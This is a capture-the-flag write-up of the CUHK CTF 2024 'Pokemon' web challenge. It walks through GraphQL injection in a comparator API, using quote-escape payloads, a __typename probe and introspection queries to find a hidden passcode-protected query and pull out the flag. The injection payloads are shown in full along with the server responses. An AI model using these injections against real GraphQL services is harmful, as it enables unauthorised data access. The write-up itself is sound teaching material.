Pokemon
Table of Contents
Overview
- Solved by: @siunam
- 3 solves / 483 points
- Author: @chemistrying
- Overall difficulty for me (From 1-10 stars): ★★★☆☆☆☆☆☆☆
Background
I found that there are infiltrators on this pokemon comparator website! They secretly added Flagmon (a new digimon OC) somewhere in their serivce… I obtained the passcode dish-percent-drop-brief
from their source code, but by the time I tried to download their source code, they have already removed it… Can you help me and find Flagmon? You will be rewarded with a flag once you have found it.
chal.24.cuhkctf.org:24049
Enumeration
Index page:
In here, we can add and compare different Pokemon characters’ stats. Let’s click on the “Add new Pokemon Comparator” button!
After clicking on that button, we can enter a Pokemon’s name, check its stats checkboxes, and click the “Add new Pokemon” button. Let’s try Pokemon “Charizard”:
Then, we can click the “Compare!” button:
Burp Suite HTTP history:
After clicking the “Compare!” button, it’ll send a POST request to /api/query
with the following JSON object data:
{
"pokemons": [
"Charizard"
],
"compares": [
"id",
"type1",
"type2",
"abilities",
"hp",
"attack"
]
}
And the server respond the following JSON object data:
{
"data": {
"_1": {
"abilities": "Blaze / Solar Power",
"attack": 84,
"hp": 78,
"id": 6,
"type1": "Fire",
"type2": "Flying"
}
}
}
Since this challenge is closed source, we have to poke around and see what will happen.
Based on the API endpoint’s name query
, we could assume this API endpoint is related to database operation, such as using SQL queries to get the Pokemon character’s stats. If so, we can try to inject single or double quote character to get a SQL syntax error.
After some testing, if we inject a double quote character in the pokemons
field, or single quote character in the compares
field, this API endpoint will occur an error:
However, the response’s JSON data’s field query
doesn’t seem like a SQL syntax.
Based on my experience, I know this is a GraphQL query syntax. Or, you can ask LLM (Large Language Model) to analysis the error:
GraphQL is an API query language that is designed to facilitate efficient communication between clients and servers. It enables the user to specify exactly what data they want in the response, helping to avoid the large response objects and multiple calls that can sometimes be seen with REST APIs. - https://portswigger.net/web-security/graphql/what-is-graphql
According to the GraphQL query error, we can see that the web server tried to build and execute the following alias query, or known as “batching query”:
{
_1: pokemon(name:"Charizard"") {
id
type1
type2
abilities
hp
attack
}
}
As you can see, our field pokemons
and compares
values are directly concatenated to the alias query without any sanitization.
Now, let’s try to inject our own GraphQL query:
{
"pokemons": [
"anything\"){id}}#"
],
"compares": []
}
Which the server builds the following alias query:
{
_1: pokemon(name:"anything"){id}}#") {}
}
In here, we used a double quote character and closing parenthesis character (")
) to escape the name
filter. Then, the {id}
is to include the result’s id
field. Next, the last }
character is to end the alias query. Finally, the #
is to comment out the rest of the GraphQL syntax.
Look! No more errors!
Next, to really confirm this is a GraphQL endpoint, we can send a universal query.
{
"pokemons": [
"anything\"){id},injected_query:__typename}#"
],
"compares": []
}
If you send
query{__typename}
to any GraphQL endpoint, it will include the string{"data": {"__typename": "query"}}
somewhere in its response. This is known as a universal query, and is a useful tool in probing whether a URL corresponds to a GraphQL service.The query works because every GraphQL endpoint has a reserved field called
__typename
that returns the queried object’s type as a string. - https://portswigger.net/web-security/graphql#universal-queries
Query result:
As we can see, the query’s result returned the string Query
! Therefore, this API endpoint is vulnerable GraphQL injection.
To enumerate this GraphQL’s schema, we can use introspection queries to enumerate it. In GraphQL, introspection is a built-in function that enables users to query the server’s GraphQL schema.
But before we do that, let’s confirm introspection is enabled in this challenge. This is because it’s suggested that in the production environment, introspection should be disabled. To test this, we can probe for introspection with the following payload:
{
"pokemons": [
"anything\"){id},injected_query:__schema{queryType{name}}}#"
],
"compares": []
}
As we can see, it returned the query type’s name Query
, which indicates that introspection is enabled.
After confirming introspection is enabled, we can enumerate the entire GraphQL schema by running a full introspection query.
In this case, however, the schema is so big that if we try to run a full introspection query, we’ll bring the API endpoint down. This is possibly due to out-of-memory caused by the insanely large schema.
Note: During the CTF, I accidentally kept bringing the API endpoint down.
That being said, we should enumerate the schema step by step instead of just dumping the entire schema.
Schema types:
{
"pokemons": [
"anything\"){id},injected_query:__schema{types{name}}}#"
],
"compares": []
}
Response:
{
"data": {
[...]
"injected_query": {
"types": [
{
"name": "Pokemon"
},
[...]
{
"name":"Digimon0x0000298c"
},
[...]
{
"name":"Query"
},
[...]
]
}
}
}
In the query result, we can see that the schema has type Pokemon
, tons of Digimon0x........
, and Query
.
Now, let’s dive deeper into type Query
to see if there are any hidden queries.
Type Query
:
{
"pokemons": [
"anything\"){id},injected_query:__type(name:\"Query\"){name,fields{name,type{name,kind}}}}#"
],
"compares": []
}
Response:
{
"data": {
[...]
"injected_query": {
"fields": [
{
"name": "hello",
"type": {
"kind": "SCALAR",
"name": "String"
}
},
{
"name": "bye",
"type": {
"kind": "SCALAR",
"name": "String"
}
},
{
"name": "pokemon",
"type": {
"kind": "OBJECT",
"name": "Pokemon"
}
},
{
"name": "digimOwOUwURawrn38408375018458385023841203489738570123",
"type": {
"kind": "OBJECT",
"name": "Digimon0x000141a0"
}
}
],
"name": "Query"
}
}
}
In the schema, there’re 4 queries, which are hello
, bye
, pokemon
, and digimOwOUwURawrn38408375018458385023841203489738570123
.
Huh, the last query name seems very interesting. In that query, the return object is Digimon0x000141a0
. Let’s take a look at its arguments.
Query digimOwOUwURawrn38408375018458385023841203489738570123
arguments:
{
"pokemons": [
"anything\"){id},injected_query:__type(name:\"Query\"){name,fields{name,type{name,kind},args{name,type{name,ofType{name}}}}}}#"
],
"compares": []
}
Response:
{
"data": {
[...]
"injected_query": {
"fields": [
[...]
{
"args": [
{
"name": "passcode",
"type": {
"name": null,
"ofType": {
"name": "String"
}
}
},
{
"name": "name",
"type": {
"name": null,
"ofType": {
"name": "String"
}
}
}
],
"name": "digimOwOUwURawrn38408375018458385023841203489738570123",
"type": {
"kind": "OBJECT",
"name": "Digimon0x000141a0"
}
}
],
"name": "Query"
}
}
}
As we can see, query digimOwOUwURawrn38408375018458385023841203489738570123
has 2 arguments, which are passcode
and name
.
Wait, passcode
? In the challenge’s description, it says the passcode is dish-percent-drop-brief
, and Flagmon
has the flag.
Exploitation
Armed with the above information, we can try to query digimOwOUwURawrn38408375018458385023841203489738570123
with argument passcode
and name
.
But before we do that, we need to know the return object type Digimon0x000141a0
’s fields.
Query object type Digimon0x000141a0
’s fields:
{
"pokemons": [
"anything\"){id},injected_query:__type(name:\"Digimon0x000141a0\"){name,fields{name}}}#"
],
"compares": []
}
Response:
{
"data": {
[...]
"injected_query": {
"fields": [
{
"name": "id"
},
{
"name": "name"
},
{
"name": "level"
},
{
"name": "type"
},
{
"name": "attribute"
},
{
"name": "description"
},
{
"name": "flag"
},
{
"name": "tokenf0e4c2f76c58916ec258f246851bea091d14d4247a2fc3e18694461b1816e13b"
},
{
"name": "tokend743cb4b22397cf64e0117fd83d29ca1e059c698b8155a3771417e24458e2bb5"
},
{
"name": "tokenb20e3fc8e392aeae90db75a40648ad4aa87d13830ef9eb80343b960130ec2d3e"
}
],
"name": "Digimon0x000141a0"
}
}
}
Oh! Object type Digimon0x000141a0
has field flag
!
Now we can finally query digimOwOUwURawrn38408375018458385023841203489738570123
!
{
"pokemons": [
"anything\"){id},injected_query:digimOwOUwURawrn38408375018458385023841203489738570123(passcode:\"dish-percent-drop-brief\",name:\"Flagmon\"){flag}}#"
],
"compares": []
}
Response:
{
"data": {
[...]
"injected_query": {
"flag": "Flag not here hahahahahaha"
}
}
}
Huh? The flag is not here?
If you remember, object type Digimon0x000141a0
also has some weird token
fields:
{
"data": {
[...]
"injected_query": {
"fields": [
[...]
{
"name": "tokenf0e4c2f76c58916ec258f246851bea091d14d4247a2fc3e18694461b1816e13b"
},
{
"name": "tokend743cb4b22397cf64e0117fd83d29ca1e059c698b8155a3771417e24458e2bb5"
},
{
"name": "tokenb20e3fc8e392aeae90db75a40648ad4aa87d13830ef9eb80343b960130ec2d3e"
}
],
"name": "Digimon0x000141a0"
}
}
}
Maybe those fields contain the flag?? Let’s try that:
{
"pokemons": [
"anything\"){id},injected_query:digimOwOUwURawrn38408375018458385023841203489738570123(passcode:\"dish-percent-drop-brief\",name:\"Flagmon\"){tokenf0e4c2f76c58916ec258f246851bea091d14d4247a2fc3e18694461b1816e13b}}#"
],
"compares": []
}
Response:
{
"data": {
[...]
"injected_query": {
"tokenf0e4c2f76c58916ec258f246851bea091d14d4247a2fc3e18694461b1816e13b": "Flag Not Here"
}
}
}
Nope.
After trying all those token
fields, we can find that the last token
field contains the flag:
{
"pokemons": [
"anything\"){id},injected_query:digimOwOUwURawrn38408375018458385023841203489738570123(passcode:\"dish-percent-drop-brief\",name:\"Flagmon\"){tokenb20e3fc8e392aeae90db75a40648ad4aa87d13830ef9eb80343b960130ec2d3e}}#"
],
"compares": []
}
Response:
{
"data": {
[...]
"injected_query": {
"tokenb20e3fc8e392aeae90db75a40648ad4aa87d13830ef9eb80343b960130ec2d3e": "cuhk24ctf{WowoW_u_know_gwAphQL_pitty_well_Want_to_say'Congratuwulations_\"hacker\"!'-\\_/-_for_finding_Fa1gm0n}"
}
}
}
Note: Remember to unescape the JSON string. CyberChef can help you for that.
- Flag:
cuhk24ctf{WowoW_u_know_gwAphQL_pitty_well_Want_to_say'Congratuwulations_"hacker"!'-\_/-_for_finding_Fa1gm0n}
Conclusion
What we’ve learned:
- GraphQL injection and enumeration